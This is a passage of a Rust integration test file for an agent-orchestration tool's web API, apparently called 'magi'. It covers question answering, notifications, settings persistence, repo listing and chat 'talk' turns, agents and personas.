8222 task.start("20260902-000000-beef".to_owned());
8223 fx.queue().put(&mut task).unwrap();
8224
8225 let path = format!("/api/questions/{id}/consult");
8226 let res = fx.post(&path, None).await;
8227 assert!(res.status >= 400, "{}", res.body);
8228 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8229 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8230
8231 std::fs::write(&toml, "").unwrap();
8232 let res = fx.post(&path, None).await;
8233 assert_eq!(res.status, 202, "{}", res.body);
8234 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8235 let q = fx.questions().get(&id).unwrap();
8236 assert!(q.status.open());
8237 assert!(q.answer.is_none());
8238 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8239 }
8240
8241 #[tokio::test]
8242 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8243 let fx = Fixture::start().await;
8244 let store = fx.questions();
8245 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8246 assert_eq!(
8247 fx.get("/api/health").await.json()["questions_needs_owner"],
8248 1
8249 );
8250
8251 let res = fx
8257 .post(
8258 &format!("/api/questions/{id}/say"),
8259 Some(r#"{"body":"why not Postgres?"}"#),
8260 )
8261 .await;
8262 assert_eq!(res.status, 200, "{}", res.body);
8263 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8264 assert_eq!(
8265 fx.get("/api/health").await.json()["questions_needs_owner"],
8266 0,
8267 "waiting on the agent is not waiting on the owner"
8268 );
8269
8270 let mut q = store.get(&id).expect("get");
8274 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8275 .expect("reply");
8276 store.put(&mut q).expect("put");
8277 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8278 assert_eq!(
8279 fx.get("/api/health").await.json()["questions_needs_owner"],
8280 1,
8281 "the agent's reply is what should light the banner back up"
8282 );
8283 }
8284
8285 #[tokio::test]
8286 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8287 let fx = Fixture::start().await;
8288 let store = fx.questions();
8289
8290 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8291 let res = fx
8292 .post(
8293 &format!("/api/questions/{empty_id}/say"),
8294 Some(r#"{"body":" "}"#),
8295 )
8296 .await;
8297 assert_eq!(res.status, 400, "{}", res.body);
8298
8299 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8300 let mut answered = store.get(&answered_id).expect("get");
8301 answered
8302 .answer(Answer::Choice("SQLite".to_owned()))
8303 .expect("answer");
8304 store.put(&mut answered).expect("put");
8305 let res = fx
8306 .post(
8307 &format!("/api/questions/{answered_id}/say"),
8308 Some(r#"{"body":"still there?"}"#),
8309 )
8310 .await;
8311 assert_eq!(res.status, 409, "{}", res.body);
8312
8313 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8314 let mut abandoned = store.get(&abandoned_id).expect("get");
8315 abandoned.abandon("timed out");
8316 store.put(&mut abandoned).expect("put");
8317 let res = fx
8318 .post(
8319 &format!("/api/questions/{abandoned_id}/say"),
8320 Some(r#"{"body":"still there?"}"#),
8321 )
8322 .await;
8323 assert_eq!(res.status, 409, "{}", res.body);
8324 }
8325
8326 #[tokio::test]
8327 async fn an_answer_the_question_does_not_offer_is_refused() {
8328 let fx = Fixture::start().await;
8329 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8330 let path = format!("/api/questions/{id}/answer");
8331
8332 for body in [
8333 r#"{"choice":"Postgres"}"#,
8334 r#"{"text":"whatever you think"}"#,
8335 r#"{"choice":"Redis","text":"both"}"#,
8336 r#"{}"#,
8337 ] {
8338 let res = fx.post(&path, Some(body)).await;
8339 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8340 assert!(res.json()["error"].is_string(), "{}", res.body);
8341 }
8342 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8344 }
8345
8346 #[tokio::test]
8347 async fn a_free_text_question_takes_text_and_not_a_choice() {
8348 let fx = Fixture::start().await;
8349 let id = ask(&fx, "What should the flag be called?", &[]);
8350 let path = format!("/api/questions/{id}/answer");
8351
8352 assert_eq!(
8353 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8354 400
8355 );
8356 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8357 assert_eq!(res.status, 200, "{}", res.body);
8358 assert_eq!(res.json()["answer"]["text"], "--json");
8359 }
8360
8361 #[tokio::test]
8362 async fn an_unknown_question_is_a_json_404() {
8363 let fx = Fixture::start().await;
8364 let res = fx
8365 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8366 .await;
8367 assert_eq!(res.status, 404, "{}", res.body);
8368 assert!(res.json()["error"].is_string());
8369 }
8370
8371 #[tokio::test]
8372 async fn notifications_list_read_dismiss_and_health_agree() {
8373 let fx = Fixture::start().await;
8374 let store = Notices::at(fx.home.path().join("notifications"));
8375 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8376 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8377
8378 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8379 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8380
8381 let health = fx.get("/api/health").await.json();
8382 assert_eq!(health["notifications_unread"], 2);
8383 assert_ne!(
8384 health["notifications_rev"], rev0,
8385 "the badge must move live"
8386 );
8387
8388 let listed = fx.get("/api/notifications").await.json();
8389 assert_eq!(listed["unread"], 2);
8390 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8391 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8392
8393 let read = fx
8394 .post(&format!("/api/notifications/{}/read", a.id), None)
8395 .await;
8396 assert_eq!(read.status, 200, "{}", read.body);
8397 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8398
8399 let gone = fx
8400 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8401 .await;
8402 assert_eq!(gone.status, 200, "{}", gone.body);
8403 let listed = fx.get("/api/notifications").await.json();
8404 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8405 assert_eq!(listed["unread"], 0);
8406
8407 store.raise(Notice::info("x", "again")).unwrap();
8408 let all = fx.post("/api/notifications/read-all", None).await;
8409 assert_eq!(all.status, 200, "{}", all.body);
8410 assert_eq!(all.json()["marked"], 1);
8411 assert_eq!(
8412 fx.get("/api/health").await.json()["notifications_unread"],
8413 0
8414 );
8415
8416 let missing = fx.post("/api/notifications/nope/read", None).await;
8417 assert_eq!(missing.status, 404, "{}", missing.body);
8418 assert!(missing.json()["error"].is_string());
8419 }
8420
8421 #[tokio::test]
8428 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8429 let f = Fixture::start().await;
8430
8431 let res = f
8432 .post(
8433 "/api/queue",
8434 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8435 )
8436 .await;
8437
8438 assert_eq!(
8439 res.status, 405,
8440 "POST /api/queue must not be a route: {}",
8441 res.body
8442 );
8443 assert!(
8444 f.queue().list().is_empty(),
8445 "a task filed by a route that does not exist must not reach the disk"
8446 );
8447 assert_eq!(f.get("/api/queue").await.status, 200);
8450 }
8451
8452 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8454 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8455 .expect("checkout dir");
8456 }
8457
8458 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8460
8461 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8462 let tmp = TempDir::new().expect("tempdir");
8463 let repo = tmp.path().join("repo");
8464 std::fs::create_dir_all(&repo).expect("repo dir");
8465 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8466 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8467 if let Some(text) = machine_toml {
8468 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8469 std::fs::write(&machine, text).expect("machine toml");
8470 }
8471 (tmp, repo, machine)
8472 }
8473
8474 #[tokio::test]
8475 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8476 let (_tmp, repo, machine) =
8477 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8478 let f = Fixture::with_repo_and_machine(repo, machine).await;
8479 let res = f.get("/api/settings").await;
8480 assert_eq!(res.status, 200, "{}", res.body);
8481 let v = res.json();
8482 assert!(v["error"].is_null(), "{v}");
8483 let role = |k: &str| {
8484 v["roles"]
8485 .as_array()
8486 .and_then(|r| r.iter().find(|x| x["key"] == k))
8487 .cloned()
8488 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8489 };
8490 assert_eq!(role("judges")["source"], "machine");
8491 assert_eq!(role("judges")["editable"], true);
8492 assert_eq!(role("implementers")["source"], "default");
8493 let adv = role("advisors");
8494 assert_eq!(adv["fallback"], "judges");
8495 assert!(
8496 adv["seats"]
8497 .as_array()
8498 .is_some_and(|s| s.iter().all(|x| x == "b")),
8499 "{adv}"
8500 );
8501 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8502 assert_eq!(v["agents"][0]["source"], "repo");
8503 }
8504
8505 #[tokio::test]
8506 async fn settings_get_reports_a_config_that_does_not_parse() {
8507 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8508 let f = Fixture::with_repo_and_machine(repo, machine).await;
8509 let res = f.get("/api/settings").await;
8510 assert_eq!(res.status, 200, "{}", res.body);
8511 let v = res.json();
8512 assert!(v["error"]["message"].is_string(), "{v}");
8513 assert!(
8514 v["error"]["path"]
8515 .as_str()
8516 .is_some_and(|p| p.ends_with("magi.toml")),
8517 "{v}"
8518 );
8519 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8520 }
8521
8522 #[tokio::test]
8523 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8524 let (_tmp, repo, machine) = settings_dirs(
8525 SETTINGS_AGENTS,
8526 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8527 );
8528 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8529 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8530 let rev = f.get("/api/settings").await.json()["revision"]
8531 .as_str()
8532 .expect("revision")
8533 .to_owned();
8534 let body = serde_json::json!({
8535 "revision": rev,
8536 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8537 })
8538 .to_string();
8539 let res = f.put("/api/settings/roles", &body).await;
8540 assert_eq!(res.status, 200, "{}", res.body);
8541 let text = std::fs::read_to_string(&machine).expect("machine");
8542 assert_eq!(
8543 text,
8544 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8545 );
8546 assert_eq!(
8547 std::fs::read(repo.join("magi.toml")).expect("read"),
8548 repo_before
8549 );
8550 let again = f.get("/api/settings").await.json();
8551 let judges = again["roles"]
8552 .as_array()
8553 .expect("roles")
8554 .iter()
8555 .find(|r| r["key"] == "judges")
8556 .expect("judges")
8557 .clone();
8558 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8559 let stale = f.put("/api/settings/roles", &body).await;
8561 assert_eq!(stale.status, 409, "{}", stale.body);
8562 }
8563
8564 #[tokio::test]
8565 async fn settings_counts_are_reported_and_saved() {
8566 let (_tmp, repo, machine) = settings_dirs(
8567 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8568 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8569 );
8570 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8571 let v = f.get("/api/settings").await.json();
8572 let count = |v: &serde_json::Value, k: &str| {
8573 v["roles"]
8574 .as_array()
8575 .and_then(|r| r.iter().find(|x| x["key"] == k))
8576 .map(|x| x["count"].clone())
8577 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8578 };
8579 let imp = count(&v, "implementers");
8580 assert_eq!(imp["value"], 2);
8581 assert_eq!(imp["source"], "machine");
8582 assert_eq!(imp["file_key"], "candidates");
8583 assert_eq!(imp["roster_len"], 2);
8584 assert_eq!(imp["backups"], 0);
8585 assert_eq!(count(&v, "judges")["source"], "default");
8586 assert_eq!(count(&v, "advisors")["min"], 0);
8587 assert_eq!(count(&v, "reviewers")["editable"], false);
8588 assert!(
8589 count(&v, "reviewers")["locked_reason"]
8590 .as_str()
8591 .is_some_and(|m| m.contains("graph.reviewers"))
8592 );
8593 assert!(count(&v, "fixer").is_null());
8594 let rev = v["revision"].as_str().expect("revision").to_owned();
8595 let body = serde_json::json!({
8596 "revision": rev,
8597 "roles": { "judges": ["b"] },
8598 "counts": { "implementers": 1, "advisors": 0 }
8599 })
8600 .to_string();
8601 let res = f.put("/api/settings/roles", &body).await;
8602 assert_eq!(res.status, 200, "{}", res.body);
8603 let text = std::fs::read_to_string(&machine).expect("machine");
8604 assert_eq!(
8605 text,
8606 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
8607 );
8608 let after = f.get("/api/settings").await.json();
8609 assert_eq!(count(&after, "implementers")["value"], 1);
8610 assert_eq!(count(&after, "implementers")["backups"], 1);
8611 assert_eq!(count(&after, "advisors")["value"], 0);
8612 let before = std::fs::read_to_string(&machine).expect("machine");
8613 let rev = after["revision"].as_str().expect("revision").to_owned();
8614 for counts in [
8615 serde_json::json!({ "judges": 0 }),
8616 serde_json::json!({ "judges": "x" }),
8617 serde_json::json!({ "judges": 2.5 }),
8618 serde_json::json!({ "judges": -1 }),
8619 serde_json::json!({ "reviewers": 3 }),
8620 serde_json::json!({ "bogus": 3 }),
8621 ] {
8622 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
8623 let res = f.put("/api/settings/roles", &body).await;
8624 assert_eq!(res.status, 422, "{counts}: {}", res.body);
8625 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
8626 }
8627 }
8628
8629 #[tokio::test]
8630 async fn settings_put_refuses_without_touching_the_file() {
8631 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8632 let (_tmp, repo, machine) = settings_dirs(
8633 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8634 Some(machine_text),
8635 );
8636 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8637 let rev = f.get("/api/settings").await.json()["revision"]
8638 .as_str()
8639 .expect("revision")
8640 .to_owned();
8641 for roles in [
8642 serde_json::json!({ "judges": ["nope"] }),
8643 serde_json::json!({ "reviewers": ["b"] }),
8644 serde_json::json!({ "bogus": ["a"] }),
8645 ] {
8646 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8647 let res = f.put("/api/settings/roles", &body).await;
8648 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8649 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8650 assert_eq!(
8651 std::fs::read_to_string(&machine).expect("machine"),
8652 machine_text
8653 );
8654 }
8655 }
8656
8657 #[tokio::test]
8658 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8659 let tmp = TempDir::new().expect("tempdir");
8660 let repo = tmp.path().join("repo");
8661 std::fs::create_dir_all(&repo).expect("repo dir");
8662 let root = tmp.path().join("root");
8663 make_checkout(&root, "github.com", "yukimemi", "magi");
8664 std::fs::write(
8665 repo.join("magi.toml"),
8666 format!(
8667 "[repos]\nroots = [{:?}]\n",
8668 root.to_string_lossy().into_owned()
8669 ),
8670 )
8671 .expect("write magi.toml");
8672
8673 let f = Fixture::with_repo(repo).await;
8674 let res = f.get("/api/repos").await;
8675 assert_eq!(res.status, 200, "{}", res.body);
8676 let list = res.json();
8677 let repos = list.as_array().expect("an array");
8678 assert_eq!(repos.len(), 1);
8679 assert_eq!(repos[0]["name"], "yukimemi/magi");
8680 assert!(
8681 repos[0]["path"]
8682 .as_str()
8683 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8684 "{list}"
8685 );
8686 }
8687
8688 #[tokio::test]
8689 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8690 let tmp = TempDir::new().expect("tempdir");
8691 let repo = tmp.path().join("repo");
8692 std::fs::create_dir_all(&repo).expect("repo dir");
8693 let root = tmp.path().join("root");
8694 make_checkout(&root, "github.com", "yukimemi", "magi");
8695 std::fs::write(
8696 repo.join("magi.toml"),
8697 format!(
8698 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8699 root.to_string_lossy().into_owned()
8700 ),
8701 )
8702 .expect("write magi.toml");
8703
8704 let f = Fixture::with_repo(repo).await;
8705 let first = f.get("/api/repos").await;
8706 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8707
8708 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8711 let second = f.get("/api/repos").await;
8712 assert_eq!(
8713 second.json().as_array().map(Vec::len),
8714 Some(1),
8715 "a fresh cache must not rescan inside the TTL"
8716 );
8717
8718 let refreshed = f.get("/api/repos?refresh=1").await;
8719 assert_eq!(
8720 refreshed.json().as_array().map(Vec::len),
8721 Some(2),
8722 "an explicit refresh must rescan even inside the TTL"
8723 );
8724 }
8725
8726 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8732
8733 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8737 let tmp = TempDir::new().expect("tempdir");
8738 let repo = tmp.path().join("repo");
8739 std::fs::create_dir_all(&repo).expect("repo dir");
8740 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8741 let f = Fixture::with_repo(repo.clone()).await;
8742 (tmp, repo, f)
8743 }
8744
8745 #[tokio::test]
8746 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8747 let (_tmp, _repo, f) = talk_fixture().await;
8748
8749 let opened = f.post("/api/talks", None).await;
8752 assert_eq!(opened.status, 201, "{}", opened.body);
8753 let body = opened.json();
8754 assert_eq!(body["status"], "open");
8755 assert_eq!(
8756 body["turns"].as_array().unwrap().len(),
8757 0,
8758 "opening takes no agent turn: there is nothing yet to answer"
8759 );
8760
8761 let also_opened = f.post("/api/talks", Some("{}")).await;
8763 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8764
8765 let listed = f.get("/api/talks").await.json();
8766 assert_eq!(listed.as_array().unwrap().len(), 2);
8767 }
8768
8769 #[tokio::test]
8770 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8771 let tmp = TempDir::new().expect("tempdir");
8772 let repo = tmp.path().join("repo");
8773 std::fs::create_dir_all(&repo).expect("repo dir");
8774 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8775 std::fs::write(
8776 repo.join("magi.toml"),
8777 format!("{MOCK_AGENT_TOML}\n{second}"),
8778 )
8779 .expect("write magi.toml");
8780 let home = TempDir::new().expect("temp home");
8781 let talks = Talks::at(home.path().join("talks"));
8782 let ui = Arc::new(
8783 Ui::new(
8784 Queue::at(home.path().join("queue")),
8785 Questions::at(home.path().join("questions")),
8786 talks.clone(),
8787 home.path().join("runs"),
8788 home.path().to_path_buf(),
8789 repo.clone(),
8790 )
8791 .with_worktrees_root(home.path().join("wt")),
8792 );
8793 let cfg = config_for(&repo).await.expect("discover config");
8794 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8795 let id = talk.id.clone();
8796 let call = |agent: &str| {
8797 talk_agent(
8798 State(Arc::clone(&ui)),
8799 Path(id.clone()),
8800 Json(TalkAgent {
8801 agent: agent.to_owned(),
8802 }),
8803 )
8804 };
8805
8806 let unknown = call("nobody").await.expect_err("unknown agent");
8807 assert_eq!(
8808 unknown.status,
8809 StatusCode::BAD_REQUEST,
8810 "{}",
8811 unknown.message
8812 );
8813
8814 {
8815 let mut claimed = None;
8818 for _ in 0..200 {
8819 claimed = ui.begin_talk_turn(&id).expect("claim");
8820 if claimed.is_some() {
8821 break;
8822 }
8823 tokio::time::sleep(Duration::from_millis(10)).await;
8824 }
8825 let _busy = claimed.expect("free");
8826 let busy = call("second").await.expect_err("busy talk");
8827 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8828 }
8829 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8830
8831 let Json(view) = call("second").await.expect("switch");
8832 assert_eq!(view.talk.agent, "second");
8833 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8834 let saved = talks.get(&id).expect("reload");
8835 assert_eq!(saved.agent, "second");
8836 assert_eq!(saved.turns.len(), 1);
8837
8838 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8839 .await
8840 .expect("detail");
8841 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8842 assert_eq!(roster, ["mock", "second"]);
8843
8844 let mut closed = talks.get(&id).expect("reload");
8845 talk::close(&mut closed, &talks).expect("close");
8846 let refused = call("mock").await.expect_err("closed talk");
8847 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8848 }
8849
8850 #[tokio::test]
8851 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
8852 let tmp = TempDir::new().expect("tempdir");
8853 let repo = tmp.path().join("repo");
8854 std::fs::create_dir_all(&repo).expect("repo dir");
8855 std::fs::write(
8856 repo.join("magi.toml"),
8857 format!(
8858 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
8859 ),
8860 )
8861 .expect("write magi.toml");
8862 let home = TempDir::new().expect("temp home");
8863 let talks = Talks::at(home.path().join("talks"));
8864 let ui = Arc::new(
8865 Ui::new(
8866 Queue::at(home.path().join("queue")),
8867 Questions::at(home.path().join("questions")),
8868 talks.clone(),
8869 home.path().join("runs"),
8870 home.path().to_path_buf(),
8871 repo.clone(),
8872 )
8873 .with_worktrees_root(home.path().join("wt")),
8874 );
8875 let cfg = config_for(&repo).await.expect("discover config");
8876 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8877 let id = talk.id.clone();
8878 let call = |persona: &str| {
8879 talk_persona(
8880 State(Arc::clone(&ui)),
8881 Path(id.clone()),
8882 Json(TalkPersona {
8883 persona: persona.to_owned(),
8884 }),
8885 )
8886 };
8887
8888 let unknown = call("nobody").await.expect_err("unknown persona");
8889 assert_eq!(
8890 unknown.status,
8891 StatusCode::BAD_REQUEST,
8892 "{}",
8893 unknown.message
8894 );
8895
8896 {
8897 let mut claimed = None;
8898 for _ in 0..200 {
8899 claimed = ui.begin_talk_turn(&id).expect("claim");
8900 if claimed.is_some() {
8901 break;
8902 }
8903 tokio::time::sleep(Duration::from_millis(10)).await;
8904 }
8905 let _busy = claimed.expect("free");
8906 let busy = call("rei").await.expect_err("busy talk");
8907 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8908 }
8909 assert_eq!(talks.get(&id).expect("reload").persona, "");
8910
8911 let Json(view) = call("gendo").await.expect("switch to a configured persona");
8912 assert_eq!(view.talk.persona, "gendo");
8913 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
8914
8915 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8916 .await
8917 .expect("detail");
8918 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
8919 assert_eq!(ids.first(), Some(&"default"));
8920 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
8921
8922 let Json(view) = call("default").await.expect("back to default");
8923 assert_eq!(view.talk.persona, "");
8924
8925 let mut closed = talks.get(&id).expect("reload");
8926 talk::close(&mut closed, &talks).expect("close");
8927 let refused = call("rei").await.expect_err("closed talk");
8928 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8929 }
8930
8931 #[tokio::test]
8932 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8933 let f = Fixture::start().await;
8934 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8935 let queue = f.queue();
8936 let mut mine = Task::new(
8937 "rename the loader".to_owned(),
8938 "rename the loader".to_owned(),
8939 PathBuf::from("/repo/magi"),
8940 Source::Agent {
8941 run: talk_id.clone(),
8942 node: "chat".to_owned(),
8943 },
8944 );
8945 queue.put(&mut mine).expect("file the task");
8946 let mut theirs = Task::new(
8947 "unrelated".to_owned(),
8948 "unrelated".to_owned(),
8949 PathBuf::from("/repo/magi"),
8950 Source::Human,
8951 );
8952 queue.put(&mut theirs).expect("file the task");
8953
8954 let res = f.get(&format!("/api/talks/{talk_id}")).await;
8955 assert_eq!(res.status, 200, "{}", res.body);
8956 let body = res.json();
8957 assert_eq!(
8958 body["status"], "open",
8959 "filing a task does not close a talk"
8960 );
8961 let tasks = body["tasks"].as_array().expect("tasks array");
8962 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8963 assert_eq!(tasks[0]["id"], mine.id);
8964 }
8965
8966 #[tokio::test]
8967 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8968 let (_tmp, _repo, f) = talk_fixture().await;
8969 let id = f.post("/api/talks", None).await.json()["id"]
8970 .as_str()
8971 .expect("id")
8972 .to_owned();
8973
8974 let res = f
8975 .post(
8976 &format!("/api/talks/{id}/say"),
8977 Some(r#"{"text":"what does the queue module do?"}"#),
8978 )
8979 .await;
8980 assert_eq!(res.status, 202, "{}", res.body);
8981 let queued = res.json();
8982 let turns = queued["turns"].as_array().expect("turns array");
8983 assert_eq!(
8984 turns.len(),
8985 1,
8986 "the answer reflects only what is on disk the instant it is sent, \
8987 before the agent's turn - which can run for the whole of \
8988 `[graph] timeout_talk` - has a chance to land: {queued}"
8989 );
8990 assert_eq!(turns[0]["who"], "operator");
8991 assert_eq!(turns[0]["body"], "what does the queue module do?");
8992 assert_eq!(
8993 queued["thinking"], true,
8994 "the accepted response exposes the background turn claim: {queued}"
8995 );
8996
8997 let mut turns_after = 1;
8998 for _ in 0..SETTLE_STEPS {
8999 let detail = f.get(&format!("/api/talks/{id}")).await.json();
9000 turns_after = detail["turns"].as_array().expect("turns array").len();
9001 if turns_after == 2 {
9002 break;
9003 }
9004 tokio::time::sleep(Duration::from_millis(10)).await;
9005 }
9006 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9007 }
9008
9009 #[tokio::test]
9036 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9037 let tmp = TempDir::new().expect("tempdir");
9038 let repo = tmp.path().join("repo");
9039 std::fs::create_dir_all(&repo).expect("repo dir");
9040 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9041 let home = TempDir::new().expect("temp home");
9042 let talks = Talks::at(home.path().join("talks"));
9043 let ui = Arc::new(
9044 Ui::new(
9045 Queue::at(home.path().join("queue")),
9046 Questions::at(home.path().join("questions")),
9047 talks.clone(),
9048 home.path().join("runs"),
9049 home.path().to_path_buf(),
9050 repo.clone(),
9051 )
9052 .with_worktrees_root(home.path().join("wt")),
9053 );
9054 let cfg = config_for(&repo).await.expect("discover config");
9055
9056 for delay in 0..40u32 {
9057 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9058 let id = talk.id.clone();
9059
9060 let handler = tokio::spawn(talk_say(
9061 State(Arc::clone(&ui)),
9062 Path(id.clone()),
9063 Ok(Json(NewTalkTurn {
9064 text: "what does the queue module do?".to_owned(),
9065 attachments: Vec::new(),
9066 })),
9067 ));
9068 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9069 handler.abort();
9070 let _ = handler.await;
9073
9074 let mut turns = 0;
9075 for _ in 0..SETTLE_STEPS {
9076 if let Ok(fresh) = talks.get(&id) {
9077 turns = fresh.turns.len();
9078 if turns != 1 {
9079 break;
9080 }
9081 }
9082 tokio::time::sleep(Duration::from_millis(10)).await;
9083 }
9084 assert_ne!(
9085 turns, 1,
9086 "delay {delay}: talk {id} recorded the operator's turn but \
9087 the agent never answered - the reply task was never \
9088 started after the handler future was dropped"
9089 );
9090 }
9091 }
9092
9093 #[tokio::test]
9138 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9139 let tmp = TempDir::new().expect("tempdir");
9140 let repo = tmp.path().join("repo");
9141 std::fs::create_dir_all(&repo).expect("repo dir");
9142 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9143 let home = TempDir::new().expect("temp home");
9144 let talks = Talks::at(home.path().join("talks"));
9145 let ui = Arc::new(
9146 Ui::new(
9147 Queue::at(home.path().join("queue")),
9148 Questions::at(home.path().join("questions")),
9149 talks.clone(),
9150 home.path().join("runs"),
9151 home.path().to_path_buf(),
9152 repo.clone(),
9153 )
9154 .with_worktrees_root(home.path().join("wt")),
9155 );
9156 let cfg = config_for(&repo).await.expect("discover config");
9157
9158 for attempt in 0..3u32 {
9159 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9160 let id = talk.id.clone();
9161 let turn_guard = ui
9164 .begin_talk_turn(&id)
9165 .expect("claim the turn")
9166 .expect("a fresh talk owes nobody a turn");
9167
9168 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9169 let (release_tx, release_rx) = std::sync::mpsc::channel();
9170 ui.set_busy_queue_gate(BusyQueueGate {
9171 reached: reached_tx,
9172 release: release_rx,
9173 });
9174
9175 let handler = tokio::spawn(talk_say(
9176 State(Arc::clone(&ui)),
9177 Path(id.clone()),
